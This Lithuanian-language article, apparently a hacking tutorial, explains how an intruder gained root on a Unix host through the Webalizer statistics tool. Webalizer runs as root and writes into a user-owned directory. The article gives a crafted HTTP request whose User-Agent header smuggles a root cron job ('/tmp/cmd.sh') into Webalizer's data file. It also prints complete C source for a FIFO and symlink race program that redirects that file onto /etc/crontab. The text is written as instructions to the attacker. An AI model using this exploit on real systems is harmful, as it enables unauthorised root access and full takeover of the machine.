Klaidingai nurodytos priėjimo teisės ar failo savininkas Unix šeimos operacinėse sistemose dažniausiai veda į visišką sistemos užvaldymą. Įsilaužėliui svarbu mokėti tai pastebėti bei tinkamai pasinaudoti. Lankomumo statistikos generavimo programos „Webalizer“ išnaudojimas buvo vienas pagrindinių elementų įsilaužėlio atliktoje atakoje.
Trumpai apie failų ir katalogų savininkus. Jeigu esame, pavyzdžiui, katalogo „dokumentai“ savininkai ir neturime „root“ vartotojo teisių, tai su jame esančiais mums priklausančiais failais galime daryti tokias operacijas: keisti priėjimo privilegijas ir trinti. Jeigu mūsų kataloge yra kitam vartotojui priklausančių failų, mums bus leista juos pašalinti arba atsižvelgiant į failo priėjimo privilegijas atlikti skaitymo ar rašymo operacijas, tačiau jokiu būdu negalėsime pakeisti failo savininko ar priėjimo privilegijų. Įsilaužėlis, prisijungęs į sistemą, nulaužto vartotojo vardu, namų direktorijoje pastebi „Webalizer“ programos generuojamą lankomumo statistiką. Jį labiausiai sudomino tai, kad „Webalizer“ yra paleidžiamas „root“ vartotojo privilegijomis bei tai, kad generuojami failai yra saugomi vartotojui priklausančioje direktorijoje.
user1@bank:~/webalizer$ ls -alF
total 5420
drwxr-xr-x 2 user1 user1 4096 Apr 3 03:01 ./
drwxr-x--- 11 user1 www 8192 Apr 10 2005 ../
-rw-r--r-- 1 root user1 10101 Apr 17 16:02 index.html
-rw-r--r-- 1 root user1 2873 Apr 17 16:02 usage.png
-rw-r--r-- 1 root user1 57736 Apr 17 16:02 webalizer.current
-rw-r--r-- 1 root user1 544 Apr 17 16:02 webalizer.hist
<...>
Kaip visa tai išnaudoti? Kiekvieną kartą generuojant statistiką yra sukuriami failai, ištrynus kaskart perrašomą failą ir vietoj jo sukūrus simbolinę nuorodą, įmanoma perrašyti bet kurį sistemoje esantį failą, tuo pačiu mums reikia nesutrikdyti sistemos darbo bei gauti „root“ vartotojo privilegijas. Tinkamiausias būdas tai atlikti, pasinaudojus „CRON“ tarnybos, atsakingos už automatinį užduočių vykdymą, konfigūracijos failu „/etc/crontab“. „CRON“ tarnyba vykdo užduotis, jeigu jos yra tokio formato:
01 * * * * root /usr/local/bin/admin-tasks.sh
Tačiau kaip priversti „Webalizer“ įrašyti įsilaužėliui naudingą „CRON“ užduotį reikiamu formatu? Labiausiai tam tinkamas atrodė „webalizer.current“ konfigūracijos failas, kuris saugojo esamą statistiką. Įsilaužėlio dėmesį patraukė „agents“ skiltis.
<...>
# -agents-
MSIE 7.0
0 7015
Googlebot/2.1
0 171
Opera/9.21
0 26
Opera/9.23
0 36
Opera/9.25
0 61
Opera/9.26
0 89
Opera/9.27
0 24
Opera/9.50
0 24
Mozilla/5.0
0 1501
MSIE 6.0
0 5165
# End Of Table – agents
<...>
Suformavus specialią užklausą su modifikuota „User-Agent“ antraštę ir nusiuntus ją web serveriui, „webalizer.current“ faile atsiras atitinkama eilutė. Užklausos pavyzdys:
GET / HTTP/1.1
Host: www.example.com
User-Agent: * * * * * root /tmp/cmd.sh
Rezultatą iliustruojantis paveikslėlis:

Įsilaužimą apsunkino tai, kad sistemoje nebuvo „/etc/cron.d“ ar „/var/cron“ katalogų, kuriose „CRON“ tarnyba ieško užduočių failų, nes tada tik užtektų sukurti „webalizer.current“ simbolinę nuorodą į neegzistuojantį failą esantį viename iš paminėtų katalogų. O nurodžius „Webalizer“ programai jau egzistuojantį netinkamos struktūros failą, pranešama klaida ir nutraukiamas darbas, todėl tenka parašyti programą, kuri kontroliuotu srautus.
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>
#define BUFSIZE 1024
int main(int ac, char **av)
{
printf(”Webalizer symlink attackn”);
char buf[BUFSIZE];
int pipe_fd,cur_fd,n;
if(ac!=4){
printf(”Usage: %s pipename current_file target_filenn”,av[0]);
return -1;
}
printf(”[~] attacking...n”);
mkfifo(av[1],0644);
symlink(av[1],”webalizer.current”);
cur_fd = open(av[2], O_RDONLY,0);
pipe_fd = open(av[1], O_WRONLY,0);
while ((n = read(cur_fd, buf, BUFSIZE)) > 0)
write(pipe_fd, buf, n);
unlink(”webalizer.current”);
symlink(av[3],”webalizer.current”);
close(cur_fd);
close(pipe_fd);
printf(”[~] DONEn”);
}
Programos esmė paprasta, sukuriamas kanalas (angl. pipe), sukuriama simbolinė „webalizer.current“ nurodą į kanalą. „Webalizer“ programai skaitant failą, per kanalą yra perduodami duomenys iš reikiamos struktūros failo, po to simbolinė nuoroda sukeičiama su nukreipiančią į reikiamą failą, šiuo atveju į „/etc/crontab“. Palaukiame, kol bus generuojama lankomumo statistika, prieš tai paleidžiame programą ir po kurio laiko „CRON“ tarnyba įvykdys mūsų pateiktą užduotį „root“ varotojo privilegijomis.
